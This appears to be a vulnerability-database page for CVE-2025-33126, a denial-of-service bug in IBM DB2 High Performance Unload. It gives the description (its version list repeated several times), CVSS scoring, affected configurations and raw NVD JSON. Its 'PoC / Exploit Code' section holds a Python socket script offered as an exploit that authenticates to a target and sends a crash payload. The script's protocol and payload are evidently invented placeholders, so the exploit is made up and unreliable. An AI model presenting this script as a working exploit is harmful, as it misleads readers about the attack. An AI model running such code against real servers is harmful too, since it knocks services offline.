Security Vulnerability Report
中文
CVE-2025-33126 CVSS 6.5 MEDIUM

CVE-2025-33126

Published: 2025-10-28 00:15:38
Last Modified: 2025-11-05 20:06:58

Description

IBM DB2 High Performance Unload 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, 5.1, 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, 5.1, 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, 5.1, 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, and 5.1 could allow an authenticated user to cause the program to crash due to the incorrect calculation of a buffer size.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:db2_high_performance_unload_load:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.1:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.2:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.3:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ibm:linux_on_ibm_z:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM DB2 High Performance Unload 5.1
IBM DB2 High Performance Unload 5.1.0.1
IBM DB2 High Performance Unload 6.1
IBM DB2 High Performance Unload 6.1.0.1
IBM DB2 High Performance Unload 6.1.0.2
IBM DB2 High Performance Unload 6.1.0.3
IBM DB2 High Performance Unload 6.5
IBM DB2 High Performance Unload 6.5.0.0 IF1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33126 PoC - IBM DB2 High Performance Unload Buffer Size Calculation Error # This PoC demonstrates triggering a denial of service condition import socket import struct def exploit_cve_2025_33126(target_ip, target_port): """ Exploit for CVE-2025-33126: IBM DB2 High Performance Unload Buffer size calculation error leading to DoS Note: This is a conceptual PoC. Actual exploitation requires understanding of the specific protocol and buffer handling. """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(30) sock.connect((target_ip, target_port)) # Authentication payload (required - PR:L) auth_payload = b'AUTHENTICATE user=lowpriv_user\r\n' sock.send(auth_payload) response = sock.recv(4096) # Check if authentication successful if b'200' not in response: print('[-] Authentication failed') sock.close() return False print('[+] Authentication successful') # Craft payload to trigger buffer size miscalculation # The exact payload structure depends on the specific # DB2 HPU command that has the vulnerability exploit_payload = b'EXPLOIT_PAYLOAD_WITH_SPECIAL_DATA\r\n' # Send the malicious payload sock.send(exploit_payload) # Wait for response try: response = sock.recv(4096) print('[*] Response received:', response) except socket.timeout: print('[+] Target crashed (DoS successful)') return True sock.close() return False except Exception as e: print(f'[-] Error: {str(e)}') return False # Usage example if __name__ == '__main__': target = '192.168.1.100' port = 50000 exploit_cve_2025_33126(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33126", "sourceIdentifier": "[email protected]", "published": "2025-10-28T00:15:37.940", "lastModified": "2025-11-05T20:06:57.610", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM DB2 High Performance Unload 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, 5.1, 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, 5.1, 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, 5.1, 6.1.0.3, 5.1.0.1, 6.1.0.2, 6.5, 6.5.0.0 IF1, 6.1.0.1, 6.1, and 5.1 could allow an authenticated user to cause the program to crash due to the incorrect calculation of a buffer size."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-131"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.1.0.0", "versionEndIncluding": "6.1.0.0", "matchCriteriaId": "EAD3A49C-CBF6-4014-8C06-FB420BEB54A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.1:-:*:*:*:*:*:*", "matchCriteriaId": "3D79E685-229A-495B-9737-084F472403CD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.2:-:*:*:*:*:*:*", "matchCriteriaId": "59CAECE6-E2F0-46D2-B7EE-EFA600072730"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.1.0.3:-:*:*:*:*:*:*", "matchCriteriaId": "E7DBB818-2879-4BD5-9A05-ABDF771A23D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "D6ACF327-FF08-49B3-8902-7759258B18C6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:db2_high_performance_unload_load:6.5.0.0:if1:*:*:*:*:*:*", "matchCriteriaId": "2BEF8EB1-FB2A-4CD4-BA6B-6DFD18441227"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:*", "matchCriteriaId": "E492C463-D76E-49B7-A4D4-3B499E422D89"}, {"vulnerable": false, "criteria": "cpe:2.3:o:ibm:linux_on_ibm_z:-:*:*:*:*:*:*:*", "matchCriteriaId": "B955E472-47E3-4C32-847B-F6BB05594BA3"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7249336", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}